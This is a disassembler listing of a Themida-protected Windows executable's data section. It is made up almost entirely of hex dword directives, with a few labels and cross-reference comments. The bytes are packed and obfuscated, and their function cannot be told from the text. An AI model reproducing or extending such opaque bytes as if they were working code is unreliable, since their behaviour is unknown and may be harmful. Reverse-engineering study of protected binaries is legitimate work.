468740D1h, 0F953E783h, 45D62A2Ch dd 182FD20Ch, 42226993h, 24000000h, 4003FA19h, 2CFA0BA4h dd 44FD8E2Ah, 9869FF00h, 1CEA7B84h, 80CC556h, 902CEFF0h dd 341037F3h, 43D773F6h, 0C630412Bh, 18A9FC35h, 7FF75D5Fh dd 0A7434FF2h, 7426Fh, 0CF440000h, 0E0h, 119FFh, 0E08A13Dh dd 0FC8D3410h, 0AC181233h, 0A2F06BE6h, 634h, 47185AB2h dd 0CA9BCF33h, 4F204AB6h, 0D1A2C63Bh, 582949BDh, 55B19E43h dd 0CB384C1Dh, 45C0D4A5h, 0B9465A2Bh, 377CDEAFh, 46C8079Bh dd 0D4248230h, 1CAD56AAh, 0AD18807Dh, 3DF687A3h, 0CF6008F9h dd 7C739296h, 0F23B729Bh, 6609680Eh, 596993B7h, 4Dh, 0FA195Bh dd 18DB6C06h, 0ABBF4195h, 41D5B1F2h, 0BC2A2CFAh, 61F5F32Bh dd 0C2554AA0h, 0DCCFF889h, 68096D51h, 699389C5h, 20B8h dd 0FA19BA00h, 8BF92203h, 67B8BEA2h, 2A2C01D0h, 0B154A86Bh dd 0AA4C86BFh, 9B699320h, 0FFFFFEC6h, 0FA199Dh, 6CB069FFh dd 0DB1CD593h, 0AFD8B94Ah, 0F27458D5h, 0D69A3E36h, 644D123Bh dd 954EF12Bh, 78416993h, 43000002h, 8C452DD9h, 0C1429619h dd 0D9B5F6AFh, 2A2CFA45h, 0BAFE37C8h, 0DB5E2147h, 2CF9AB3Fh dd 649D2E2Ah, 224EB7FBh, 8EDA2569h, 0DF97ADD5h, 60F17788h dd 12452175h, 7C0FD7F4h, 4531082h, 788EA273h, 253D41FAh dd 74C56124h, 0F934106Dh, 33CF9E65h, 5C15A637h, 0E0581E34h dd 5D2DC15Dh, 47BF3041h, 8E31722Bh, 8680C4FDh, 5C8A1EBAh dd 74053041h, 8FE12E3h, 8D25B16Ah, 64304069h, 3838CD21h dd 2D0B6BFFh, 20197535h, 8281F60Ch, 0E0245DEEh, 677B4C26h dd 161AD39Fh, 0BD06FAFEh, 0A13B1698h, 0F98A1BE0h, 19399A36h dd 144C3A24h, 69CEC5C3h, 7410D32Bh, 2A2D8CE0h, 6839CA5Bh dd 382FD125h, 0A6E7A0CAh, 0C0D8DC15h, 8760FCBFh, 8A341097h dd 89972BC7h, 81123041h, 2AD92DF0h, 53E78346h, 0D6304189h dd 30A30C45h, 0A4325DCh, 4189EA7Eh, 1155B930h, 0AA6D6E86h dd 2494350Eh, 0D6A7383Ah, 0E30C9B93h, 911E9A87h, 346CFD75h dd 6305033Ch, 5CA0D9BFh, 0AE02C5A3h, 1B5C1553h, 0B20679E2h dd 21651E54h, 91D28BDFh, 0DA13D00h, 902A2D81h, 7D82C6FFh dd 2E461AEBh, 0EFE76A2Dh, 0D553FC00h, 8824E7C4h, 2A2DF2F4h dd 21ADE677h, 34112338h, 0E7732CBDh, 3041C24Fh, 8F4820E1h dd 0F9B2B64Bh, 8AD096FAh, 9494D238h, 73ACC640h, 0A7E19639h dd 49896Fh, 198B0000h, 0BA3D0001h, 2CF98A1Eh, 3B74052Ah dd 1FF32CC8h, 0E5763410h, 8DCB2A22h, 0DE97D12Eh, 0C693659Dh dd 5CED7B86h, 962EBA23h, 6A3041F7h, 0CEC66204h, 2EBD2F38h dd 7F88C83h, 2E67A861h, 0A7CF51F4h, 0B0446Fh, 0D9460000h dd 45894226h, 2750AC1h, 0B80540F8h, 0D52A6E27h, 0C8D8D093h dd 5919ED20h, 22275FA0h, 0EA538C42h, 8BDF2377h, 77F10E52h dd 0F20F63A6h, 7CB13D76h, 102A2C78h, 0D4A879EFh, 5CF8BBBCh dd 34142C65h, 79EF10A4h, 0AAA225E8h, 0ED9183C4h, 0CA0E4748h dd 5165363Ch, 0C9F4BDB5h, 0E2E6AE69h, 34A1967h, 709C0000h dd 0E51D3102h, 60A0B485h, 0DC25390Ah, 5FA7BB8Ch, 882D4213h dd 36076B9Bh, 0BE8FE122h, 44155BAAh, 0C899CF30h, 0F1852166h dd 6C3046CAh, 2DD9BE0Eh, 0CF4BC69Eh, 18A9378Fh, 99CC3347h dd 0AF720367h, 4CCC89B7h, 3C751043h, 26D96DBBh, 0BA458942h dd 0D98FDDAEh, 0FC7F4226h, 2CF9CC60h, 85BE4F2Ah, 4127D81Ch dd 0CB5FFB7Eh, 0B92A2CF9h, 1CFBAE58h, 0AA3BDEBAh, 41CF071h dd 0BBA44003h, 3E341117h, 60F81506h, 89782C81h, 4BD4EDFh dd 4153E078h, 284EB430h, 0A772A649h, 7FF536Fh, 3871B26Bh dd 2A0Bh, 1190D00h, 68A13D00h, 0CD341020h, 141AAE4Ah, 4953041h dd 2EE778CBh, 41140AA2h, 0FE78DE30h, 0A736D073h, 0E3C36Fh dd 0D9C50000h, 45894226h, 0B4F8B1C1h, 65A1D4Bh, 78B97200h dd 6D92D63Fh, 64E72AFBh, 2CFA34C8h, 0ED26B72Ah, 2C062C61h dd 0A6BF402Ah, 1758115Fh, 0C1EA6EDFh, 9B2C11F6h, 1F49B6CAh dd 6FF9085Ch, 0D33C75B6h, 4DB3B7CFh, 2DC98C1Dh, 34105ED4h dd 4F1BE539h, 0C91C5596h, 7B936738h, 0FF18AC48h, 2933040h dd 1912AE71h, 5C3A27B6h, 52B408CBh, 0CB3B4F20h, 0C256F275h dd 3D2A2FABh, 0AC3CD0ACh, 302A2A2Fh, 0DC4FFD37h, 0AB470AADh dd 2A2F0417h, 0DF700192h, 0BA1E1116h, 0F543BEE0h, 1DCh dd 9F70020Ah, 22F3778Bh, 0A778F20Eh, 29FA6E93h, 0B081F115h dd 0FD09669Bh, 7390A475h, 0ED182CFDh, 619EB283h, 8FD43607h dd 46CC5FF3h, 2C7CDA30h, 0C2B056AAh, 0B1C14589h, 3533CCE0h dd 33CD2164h, 43D7E37h, 0AD56AA86h, 9CD42FC3h, 6569A2E3h dd 0ED894C4Dh, 34101FB4h, 0E26528B9h, 4113B246h, 639C2D30h dd 13D66EFAh, 44AA3041h, 54B20622h, 8A98C777h, 50E1BE3Bh dd 0E31D5697h, 6FA80040h, 7FEDF5EDh, 9BB3A198h, 0C83562h dd 0D9370000h, 45894226h, 1580AC1h, 672048B9h, 3343EE26h dd 8EDA25B9h, 1FE63AFDh, 1E579851h, 23BF42B5h, 2A2D048Fh dd 0B440790Ah, 2A2C117Fh, 0A172F609h, 3DF6728Dh, 5D202139h dd 103968C1h, 8B5CED34h, 0DB9E9FB7h, 27F4653Fh, 985BEC3Ah dd 0E27EC244h, 2A2F844Eh, 0ECAF40D1h, 7DED1569h, 2F850DA1h dd 40D4702Ah, 0BB2A2F85h, 0BDF6872Ah, 94DE283Ch, 0BA9F4CCBh dd 3C8A05E0h, 0D0h, 0AB7CF616h, 2EFF6B97h, 0B384E61Ah dd 3506629Fh, 0BC8DE521h, 0F11572A7h, 679CB081h, 0E1243809h dd 55AABE8Fh, 9BE04213h, 46CD6BFFh, 4090EE30h, 0E09E2DD9h dd 0B541B5D5h, 45592ABBh, 68EBAEBAh, 2DE738CCh, 0E922B32Ah dd 26D91A68h, 0C572CA9Bh, 0E475D147h, 1E18E72Bh, 2DEEEE82h dd 4FE0712Ah, 0A0CA388Ch, 0EC6DA6E7h, 7FC0018h, 7915D869h dd 3417C460h, 289B54E5h, 863F31D4h, 37C80C45h, 0B34C6031h dd 659EF2B5h, 0DD69D20Bh, 0A5566E79h, 0E97EF84Ch, 0C50AB16h dd 12C19823h, 639CB081h, 0B56E0402h, 0E62AE374h, 928A4D1Bh dd 39DE0EAFh, 0E14A8337h, 94C3A3B9h, 182CFD6Bh, 7AC881E7h dd 0Ch, 2C4FBDB5h, 0A6E37606h, 1BABEF6Dh, 863F33D9h, 0F2ABBD42h dd 601957AEh, 0D089E71Ch, 3FF87A8Ch, 0AE670BFBh, 18D1976Ah dd 853E2CD4h, 0F0A9C141h, 6B4568EAh, 2C890000h, 0E2895224h dd 4C281h, 0EA810000h, 4, 5C241487h, 68241489h, 31EBh dd 56243489h, 0D63B5DBEh, 0F2A3BA59h, 0F2315FCFh, 8124348Bh dd 4C4h, 348B5400h, 4C48124h, 53000000h, 8F53D389h, 0FF5B0846h dd 835E2434h, 148B04C4h, 0E0895024h, 405h, 4C08300h, 5C240487h dd 0FB7129E9h, 0DD53A9FFh, 1EB73298h, 32B87B2Ch, 30619D5h dd 36E0FFC5h, 8167FFEBh, 2253669Ah, 0CC44873Eh, 9D658793h dd 8D2E3E80h, 19D6A88Dh, 298D8906h, 6A061432h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 5738C353h, 217ABEEBh, 0E9AEDBA0h, 6, 0C2D53E0Dh, 85C7C95Ah dd 614064Dh, 63BCh, 0C7C2BF0Fh, 14267185h, 6, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0F45C7F43h, 9E8h, 0E52DAA00h, 0E915F935h, 7E830AFh db 3 dup(0) byte_5A6227 db 60h ; DATA XREF: Themida_:0054BDFCo dd 0C3AC2D3Bh, 9D8B8A3Dh, 61408FDh, 0B5FF5E5Bh, 614220Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 90C35040h dd 0E8C848EAh, 13h, 216A6840h, 0E45C0F30h, 9D29BDBEh, 6BDD0CCDh dd 5A0EAB3Eh, 236195FFh, 9D890614h, 614321Dh, 95FF006Ah dd 6141169h, 7EEBC08Bh, 0B654AC30h, 0B06DFC88h, 270F81CDh dd 417F9EAAh, 8392BBA0h, 0D639AEB2h, 989057D7h, 7217916Fh dd 4B45593h, 899326F9h, 0E28E2120h, 2E3D3F99h, 0E8292E83h dd 0FF98F5Ch, 173B728Fh, 5C15AA6Ch, 32D4162Ah, 0C9604BBh dd 0FE9AB1FCh, 26F83472h, 39B8B6Ch, 5A44D694h, 393F35FBh dd 8BB6A915h, 0E0895315h, 72A7D01Bh, 2662D283h, 0A9302B36h dd 0DF4D599Bh, 5B8046C3h, 21E8B419h, 0C08BC646h, 77C28166h dd 0B1BD833Dh, 61430h, 0BD830975h, 6141AE1h, 50197400h dd 0B8C08B53h, 3FCh, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh dd 1AE1BD83h, 74000614h, 0B8535017h, 3FCh, 1A498589h, 9D8D0614h dd 616B429h, 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0E4C35343h, 3729F714h, 56A276BBh, 6AC08B69h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 105EC357h, 0CDBD83D6h, 1061412h, 0BD840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 10E929C3h, 0DE000000h, 7D2A0D75h, 7094B5C4h dd 5CEB2E3h, 663BC382h, 0B789EA81h, 1B0DBD83h, 0F000614h dd 7A85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0A3554051h, 0CE9h, 2DF4B300h, 0D511BFBFh dd 6834E28Bh, 9BD83EEh, 61423h, 98840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0DE2F0EC3h, 41919141h, 7E8h, 9B5A6400h, 794527D0h, 5A81F680h dd 58A0Fh, 81660000h, 0E91CE5F2h, 498h, 0DE960h, 156C0000h dd 315B180Eh, 0F4A49B4Eh, 0FF058ACh, 61D2BFh, 66000000h dd 6A042ABAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 9DC4C355h, 0E9D18B66h, 12h, 9DE983DFh dd 5794420Dh, 3C022227h, 85D46F95h, 42DAC451h, 0F1B2662Ah dd 1F82BFF3h, 0F7EABF9Ah, 0A8B6E0B9h, 0F39EC310h, 0F379FB18h dd 0F7AEBF83h, 2B94E8DEh, 0D69B8C50h, 7BDA7067h, 0F7EABF9Ah dd 7AA334FFh, 0E0F6AD1Ch, 0A65DD59Fh, 0F7AEBC71h, 340E9F99h dd 0D3E736C0h, 0D3913E9Dh, 0F7EAA29Dh, 3424FE99h, 0CA706425h dd 2818FA92h, 8526A52h, 0A557D549h, 0F7ABBC71h, 348F9F99h dd 0D3BE36C3h, 0D3313E9Dh, 0F7BAA59Dh, 340FFD99h, 4A5DF813h dd 910E1295h, 152B6E12h, 0F1063EC1h, 1EBBDAAAh, 0F775BA92h dd 1FEABFF3h, 0F75DBF9Ah, 0AF6DE7B9h, 0F373FB10h, 0F38FFB18h dd 0F7D5BF80h, 2B29EFD9h, 6F990403h, 0F7B456D2h, 0D37ABF99h dd 41C6F388h, 7BF105DDh, 863EF9A7h, 285EE8CBh, 1FBFE4C3h dd 0F775BF99h, 4E573EC4h, 9D5BA640h, 0F446EA99h, 0D757BF99h dd 7EF67CC4h, 76D19BF5h, 0EDEE9BDDh, 0B275BF99h, 107CCCh dd 696499F6h, 76C8EF15h, 0AD0F7D43h, 9D7234FFh, 0F43DE899h dd 0D7EABF99h, 7E2A7CC6h, 76BE9BE5h, 0EB599BDDh, 0B0AEBF99h dd 0B8D87CCEh, 0B3BB4344h, 97B7CC75h, 40E57E12h, 0E59CDE58h dd 88BABF99h, 0B74B41CFh, 0C144C1B9h, 97190B1Eh, 9685547Eh dd 0A71534ECh, 0F7F856F9h, 415DBF99h, 2A19C9Dh, 0D9872F90h dd 0DC456D3Bh, 3595120Eh, 0F7AB3B96h, 0ACB4BF99h, 44B8EFC9h dd 7C44B0B8h, 7EE2E541h, 0E6B49B9Dh, 15AEBF99h, 0C13F73A6h dd 17DC33ACh, 3FA6E0h, 9EEB7EB6h, 0D339BE96h, 8500D967h dd 0F737E77Fh, 0F7AD57CCh, 0AA77BF99h, 9B22E25Ah, 0B354BBBDh dd 0F7F2BBBDh, 0A230BF99h, 68A5C5Ah, 0FB586256h, 7DAEBF9Bh dd 9D5F344Ch, 0F443EE99h, 0D7D5BF99h, 7EB37CC0h, 76719BD5h dd 0E3BE9BDDh, 0B65DBF99h, 4DF97CC8h, 83011BD3h, 0BE334FFh dd 1F85BFF3h, 0F7EABF9Ah, 0AFB6E7B9h, 0F39EFB10h, 0F379FB18h dd 0F7AEBF83h, 8894EFD9h, 0EBE251A4h, 2855706Fh, 0F7EB0716h dd 0F71FBF99h, 0F7B957CAh, 0AC7DBF99h, 0AB27E45Ah, 0B3D6BBBDh dd 0F7BCBBBDh, 0A496BF99h, 32C64F5Ah, 0F778569Bh, 3744BF99h dd 37A4F9D3h, 7EA3A5A6h, 4CDDB873h, 0F8348468h, 0F7DE5608h dd 0A022BF99h, 0CC7EB422h, 0D626F6F7h, 0A03DEFABh, 64C607FFh dd 0F74556C7h, 9D73BF99h, 6C755E68h, 0C9A8605Fh, 149C8EA5h dd 4FA0CFECh, 0FBB52EF8h, 0C9AEBF99h, 6D633B86h, 2070383Ah dd 0B1B6B5Bh, 2E66D9C3h, 0E59CECCAh, 62BABF99h, 485B1E5Fh dd 453E2E47h, 0F24D7874h, 6407E28Fh, 18EE576h, 72E5BB58h dd 0F775BEB9h, 1FEFBFF3h, 0F75DBF9Ah, 0AA6DE2B9h, 0F373D310h dd 0F38FFB18h, 0F7D5BF80h, 0A329EADCh, 15DA94BAh, 0A66F05E9h dd 9D04A34Bh, 0F446E899h, 0D757BF99h, 7EF47CC6h, 76D19BE5h dd 0EAEE9BDDh, 0B075BF99h, 83177CCEh, 0AA37B3BDh, 0F34B0D01h dd 0A7880896h, 0F7BF3296h, 0F83CBF99h, 7FEABF99h, 267D5549h dd 0E9D23B3Ah, 0BAB84A06h, 77F5CBAAh, 7258D7A0h, 0F7ABBF76h dd 8E5E6613h, 46BD998h, 8F40BCFh, 77BABF99h, 0F7843D96h dd 0F7C4BF99h, 0F75457CAh, 0AC8BBF99h, 0AB5CE45Ah, 0B36BBBBDh dd 0F768BBBDh, 0A4F9BF99h, 18E0C35Ah, 71A75C04h, 97EFC41Ch dd 0F7AA3D96h, 0A62DBF99h, 91BB5718h, 962BE093h, 2F123A5Eh dd 0F75CB980h, 7CC8BF99h, 0F7E95648h, 0F7C1BF99h, 0F7D657CEh dd 0A8CABF99h, 8BFCE05Ah, 0B33BBBBDh, 0F746BBBDh, 0A0E9BF99h dd 0A912855Ah, 34AC250h, 326ED932h, 0F78F5680h, 0F71FBF99h dd 0F7B957CBh, 0AD7DBF99h, 0A327E55Ah, 0B3D6BBBDh, 0F7B1BBBDh dd 0A597BF99h, 0F7E6A55Ah, 83B8CA07h, 916B34C0h, 856C61Ah dd 0F79B3B96h, 0F73DBF99h, 0F7A857CCh, 0AAF5BF99h, 9B63E25Ah dd 0B3F4BBBDh, 0F7A6BBBDh, 0A218BF99h, 2D264B5Ah, 0EB0AF92Fh dd 4CCD1753h, 7212B517h, 0F1F36731h, 0F775BF98h, 0BFFC7019h dd 1F0BBFF3h, 0F7AEBF9Ah, 0A994E1B9h, 0F38FCB10h, 0F3F1FB18h dd 0F7EABF82h, 7BB6E9DFh, 89C1EC06h, 4D31FE0Ah, 0BACD3890h dd 2AE004FFh, 7EFC2320h, 245032E9h, 7AECA647h, 0EEA8FA24h dd 8342849Fh, 26528F9Eh, 245F850h, 0F73DC22Eh, 0F7A857C9h dd 0AFF5BF99h, 0B363E75Ah, 0B3F4BBBDh, 0F7AEBBBDh, 0A71DBF99h dd 76C8B35Ah, 9102A342h, 87EB7518h, 0E518021Ah, 0F8EBB98Dh dd 0F775881Dh, 290DB099h, 0EC50021Ah, 0F8AEB98Dh, 0F757981Ch dd 74713E99h, 74A292D9h, 0E3C9B624h, 737ABF9Fh, 0F7BABF85h dd 0F75DB471h, 93784B99h, 0AE6E4437h, 82496D9Ah, 0AC020896h dd 0F7EA7170h, 0E1B0D99h, 0E577021Ah, 0F85CB98Dh, 0F7AEC91Ch dd 0A257D599h, 0F7ABBC71h, 34889F99h, 0D38636C4h, 0D3313E9Dh dd 0F7BAA99Dh, 3408FA99h, 774557B7h, 1D7B57Eh, 2020E2C5h dd 0A2D5D55Ah, 0F7EABC71h, 34289F99h, 0D3D636C4h, 0D3193E9Dh dd 0F7AEA69Dh, 3402FA99h, 0F3BB8316h, 55440CCh, 0E895C154h dd 46F75D22h, 0F7DF56E0h, 7E52BF99h, 0F7AEBF8Eh, 0F757AD70h dd 0C4712099h, 3A59D402h, 135764BCh, 6B9BF960h, 0AA18E125h dd 1F0EBFF3h, 0F7AEBF9Ah, 0AC94E4B9h dd 0F38FE310h, 0F3F1FB18h, 0F7EABF80h, 92B6ECDAh, 0C8CABF07h dd 29D6D9D3h, 344C6D18h, 1F0492DFh, 0F7ABBF97h, 0AF1A7912h dd 7E7EF364h, 0A351833Ah, 3C3B8BB7h, 0F2CBCB39h, 7A61E5C2h dd 0EE8F5824h, 5726329Fh, 4FD3A647h, 8CD0E384h, 0EE743AAAh dd 3891B98Dh, 23205658h, 32E97EFCh, 0A6472450h, 0FA247AECh dd 849FEEA8h, 8F9E8342h, 83502652h, 0A4F305E9h, 0D8A8BD83h dd 74000619h, 798D8D0Dh, 0B806144Dh, 1, 6A40E1FFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 5AD0C356h, 0EACC2BFh, 66AAF611h, 0BF8ED381h, 13E8h dd 38658900h, 690E5444h, 14D13A0h, 8307E97Dh, 0BEA34391h dd 835A5A53h, 0E8562DE8h, 13h, 524C933Bh, 2DAEBEB7h, 98D404E1h dd 0E695FDA3h, 0E82DC8BCh, 10h, 0B12FE754h, 8D9C552Bh dd 7F78059Ch, 9CCC93BBh, 8B5B5B5Bh, 833BB3C0h, 1430B1BDh dd 9750006h, 1AE1BD83h, 74000614h, 8B535019h, 3FCB8C0h dd 85890000h, 61430C1h, 0B7A19D8Dh, 0D3FF0616h, 0BD83585Bh dd 6141AE1h, 50177400h, 3FCB853h, 85890000h, 61430C1h dd 0B4429D8Dh, 0D3FF0616h, 0F3BA585Bh, 6A3F0EC3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 3235C351h, 0B15D2D52h, 850F56E9h, 13h, 0DE8h, 0E7326800h dd 0D41592ADh, 4A2EF20Bh, 5B5A88C4h, 24EBC08Bh, 9 dup(0) dd 0BDE9h db 0 byte_5A6BE9 db 89h, 0B5h, 0E1h ; DATA XREF: Themida_:0054BA7Co dd 8B0619DFh, 1412CD85h, 0E1858B06h, 8D06140Ah, 19E02BB5h dd 12858D06h, 0FF06174Ch, 0E855C3D0h, 0 dd 31ED815Dh, 830619E0h, 1412CDBDh, 850F0106h, 2Ch, 0DFE1B5FFh dd 858B0619h, 6140AE1h, 81273635h, 3CD0FF34h, 0A850F01h dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 619DFE5h dd 0E1B5FF56h, 8B0619DFh, 140AE185h, 27363506h, 0D0FF3481h dd 8D0CC483h, 19DFE5B5h, 14468B06h, 8304E083h, 840F04F8h dd 7, 5E9C033h, 0B8000000h, 1, 12CDBD83h, 0F010614h, 785h dd 0E9C35D00h, 2, 858DCF5Dh, 619E00Ah, 2E9D8589h, 0B4E90614h dd 2E000000h, 946267C9h, 5000000h, 1000000h, 28000000h dd 200000Ah, 27h dup(0) dd 0E9000000h, 0AEDh, 19E2EA68h, 9C85E906h, 0EF68FFFAh dd 0E90619E3h, 0FFFA9C7Bh, 19E50E68h, 9C71E906h, 6668FFFAh dd 0E90619E5h, 0FFFA9C67h, 19E67768h, 9C5DE906h, 0D868FFFAh dd 0E90619E6h, 0FFFA9C53h, 19E9DD68h, 9C49E906h, 0CA68FFFAh dd 0E90619EAh, 0FFFA9C3Fh, 84D6E9F3h, 3F912CA7h, 0F94B7062h dd 0AE00B91Ch, 65B706D1h, 0B3248C2Ch, 0F6DBB80Ah, 449471C3h dd 8A4C297Bh, 4BD3DF31h, 0BC95F45h, 11787358h, 93B44017h dd 903C7F57h, 76E2E138h, 9559CCBFh, 9E363CBAh, 4972646Fh dd 7546909Dh, 35D94723h, 2554E7EDh, 9AC257E6h, 4C6A8EEh dd 0AFD15807h, 0D06DF893h, 2591F8D8h, 89000000h, 77A617BCh dd 0F9A51390h, 2E8ABB1h, 8EB657E5h, 2BA9CE2h, 0A3C55806h dd 0D679ECE7h, 0D085F8D9h, 9C000000h, 9642C412h, 0AE5A6374h dd 7A26BE56h, 0A7536A6Dh, 0D37F3C9Ah, 63AB10C6h, 65BB3F96h dd 3AED0430h, 217925BDh, 5FCCE2F2h, 0EA51F2E3h, 0A57DCFECh dd 0E3F1D7DDh, 0DD0551F2h, 8833A3AEh, 0BE62D0DCh, 0FD357076h dd 0BBE357E5h, 0BF1F8D69h, 6FDD3B9h, 27BFE758h, 0D4ADD9DFh dd 153D5DFBh, 7B4F6CDh, 0CA53562Dh, 0FC8959Bh, 587F5CAEh dd 0C31A8765h, 331D3893h, 90625h, 0DFE0FC00h, 9A23B08Dh dd 54676B48h, 9B02502h, 0C0FDDAB7h, 2D83356Eh, 0E4C113AAh dd 9D7ACCEDh, 5532843Bh, 0DCE83A81h, 0CA684E54h, 817C580Bh dd 494F171Ah, 51F1E863h, 0CF024F77h, 27B0BBEAh, 1DC9F0E1h dd 0FEDB2DC5h, 0CE9BE3D8h, 0E7D8000Ah, 0ECD1024Fh, 13F4ADBDh dd 759344A5h, 5AB25E5Dh, 71BE16C2h, 57AF5B62h, 0A9AF77BFh dd 51F1E7C3h, 7662AFD7h, 16459D49h, 3470A10h, 0ED1557E5h dd 319FB41h, 2245806h, 0D71A4B40h, 0C2E4F8D9h, 0DC000000h dd 4AF6C90Fh, 12DCC3F2h, 434BF7C4h, 0B05C6176h, 0F1CC0B58h dd 0B3BEED45h, 0A7ED9924h, 51F1EB3Ah, 62AA11C5h, 0B4BA4095h dd 0D4163506h, 31A5F28Ah, 6E4B5B8Ah, 9BA75368h, 0E766C22Dh dd 0B7E1E903h, 96D1D71Fh, 4457E5BEh, 80EECA1Ch, 678288D0h dd 0D55DFB92h, 3F9865ADh, 7D542C7Eh, 0EEE2EF1Fh, 404B7A25h dd 63482697h, 0E8389311h, 801F0FEh, 0DB010000h, 1EB592E4h dd 62704D9Fh, 0AB2A0759h, 0F8DFBC0Eh, 7E3A73C5h, 0C618A532h dd 7FD1E8E9h, 378936A2h, 0ED3F7C5Ah, 6D5359E1h, 81580BCBh dd 0C5121F86h, 0F5E3B0F8h, 0E0071ECAh, 60D40106h, 0E145CF4h dd 51F2E728h, 0D5E5143Ch, 8BDDDEF8h, 0F7C412D2h, 23983E4Bh dd 0D787F5D1h, 0A916C28Fh, 7076A5FDh, 0EBC99C6Ah, 487057h dd 0C618A333h, 0BCA3AB0h, 1E7BE858h, 45C08B5h, 964D246Ch dd 7714B97h, 7290A0CFh, 33A4711Ah, 0DB900D5h, 0E4EE1DB5h dd 0B582CA76h, 6A709F1Eh, 0EED4DAA2h, 2580BC4h, 0C53E242Ah dd 2A52580Bh, 0D41F6392h, 205DFEDEh, 8378253h, 67BB5C84h dd 0D1E6F8C4h, 6AB25ECCh, 0DBF3B164h, 0EF375FF7h, 0A3954218h dd 766087F7h, 147EAD45h, 0AEF69A08h, 48FAE0E6h, 0E60EF7FDh dd 0DEABB1B7h, 2EFDF1C9h, 78548F66h, 64337C8Dh, 14D9F8DEh dd 0B5E40CFEh, 0F4C10931h, 0AA87D9E2h, 0F3D9DF2Ch, 76FE14D9h dd 58E5400Ch, 0A32F87Ch, 38219472h, 543E989Ch, 6E246h dd 3BC2000h, 0BEFFD4B1h, 78438F6Ch, 2D8C4926h, 0E4D9FEDBh dd 515F5992h, 8E53786h, 0C19EF0C9h, 7956A817h, 0C5E5Dh dd 0CC8C7278h, 0A5A0580Bh, 0F9A5133Eh, 0C8DDABB1h, 89B157EBh dd 5E5F7441h, 19A42F0Ch, 9076606Dh, 76CE7A43h, 0F3BF00DEh dd 0CAB43EA4h, 68ABCh, 5B647800h, 16A72C09h, 0D0EBE7C4h dd 8534A17Eh, 3C815633h, 0A907B1EAh, 603D8F2Eh, 19F64871h dd 0D1AE00BFh, 5864B605h, 0CCE4CAD0h, 0FDF8580Bh, 0F9A51396h dd 0C8DDABB1h, 89B157EBh, 59627441h, 10BE2B07h, 0C8D0C2C8h dd 0D4FC580Bh, 83532028h, 0E2C50938h, 0EF580BC8h, 4F168DCDh dd 0FF8D40Ch, 0F7269342h, 3C91h, 0A613A800h, 802C8F43h dd 7B489028h, 9726AD5Dh, 2CAD0FFh, 1A1A3B2Bh, 4E7D2B7Dh dd 0F2A0100Ah, 68143C51h, 0F2A04022h, 69294B51h, 0ED35F372h dd 70BFEh, 11220000h, 1BCh, 0CE6BD168h, 3A0DF160h, 73CAEFE6h dd 0F5FB96FDh, 51F2390Fh, 0CB63FB23h, 52327D83h, 0D80057E5h dd 2197E337h, 1DE5E76Fh, 0B1023117h, 0A318BE07h, 7C86B5DDh dd 141A620Eh, 0DA41D61h, 2F3BE70Fh, 8D51DC1h, 0E941EDCEh dd 0E1AEB4BAh, 0B313B99Dh, 6076438Bh, 5A31095Bh, 5654E497h dd 9CA7D6EDh, 26A3813Ah, 6182D45Fh, 5796977h, 53890000h dd 963D1A6Ch, 0DAF8D527h, 23B28FE1h, 70674496h, 0F6C2FB4Dh dd 4EA01DBAh, 7596071h, 0BF11AE2Ah, 75C7F4E2h, 0F5DBE169h dd 9580BCDh, 0C412A70Eh, 0D13F4BF7h, 0C018E52Dh, 0C4CAD0FFh dd 57E50511h, 1CF1E2BFh, 6053016h, 841C4458h, 96E880D8h dd 0C09E1DB9h, 3EAAB713h, 18909E88h, 0EA000005h, 9E7BCDF2h dd 59368835h, 13F04279h, 0C8A5F7C2h, 235CAE0Fh, 1BC1B95h dd 0BAFFD2AFh, 724D8B68h, 28934320h, 3C42CAD6h, 580BCE56h dd 12086F6Ah, 3E4BF7C4h, 6A772398h, 7F3E996Bh, 37E37BD3h dd 6713A82Ah, 0AE334F33h, 42FA98FCh, 0FDD52794h, 953ABC26h dd 7FAEAD32h, 0ED715213h, 29ACFEh, 0CDA40000h, 0D5955DCCh dd 0B59CCB98h, 0B1F9A513h, 0E51D80ABh, 3AE60E57h, 5FE12F4h dd 5FFB1D58h, 0D9DC2144h, 62DDF8h, 13F40000h, 0E9B1F9A5h dd 0F1E7FDE3h, 0BAE91151h, 5443AEB4h, 295157E5h, 864C19E1h dd 2318935h, 0A92CDCF7h, 10267810h, 5806352Dh, 479922B4h dd 8936A26Fh, 180A4B32h, 0D7067CEEh, 6EB607CCh, 0DD8930A1h dd 12E9CFD5h, 0D5FD5806h, 96A40E3Dh, 43Bh, 1A0006CEh, 2E580613h dd 0A219B906h, 886F9EF6h, 0F7154017h, 30DCDDF8h, 0B32181D8h dd 0D846507Fh, 8BDAE028h, 6157E59Dh, 0D26A5384h, 49BD1926h dd 2D853188h, 0F73E995h, 0F44CBA73h, 67E08EEh, 5CF41C58h dd 0C7BF0E14h, 6D955DF9h, 757B431Bh, 5E1AA78Fh, 0A82E7BA3h dd 0FDD9E413h, 3D0A12BEh, 2078249Bh, 2079E7F1h, 25A06B7h dd 391C226Ah, 47640DC1h, 0C80AD71Fh, 4D5AC4F3h, 0DED07785h dd 4315A511h, 0E1F2FFABh, 0A51930DCh, 0D97E84C8h, 1634984Eh dd 3E5CFE93h, 99EBD006h, 0E9EF4FBDh, 642DF003h, 0B1774890h dd 0A3A9F189h, 6A2118E8h, 53B73D14h, 382A74Ah, 6D9C21B6h dd 815C1E9h, 0EC41EDCEh, 87F5084Ah, 0CE898FD7h, 7C70356Dh dd 0B1250254h, 8E3A8155h, 0D1695081h, 57808D39h, 0C99668A7h dd 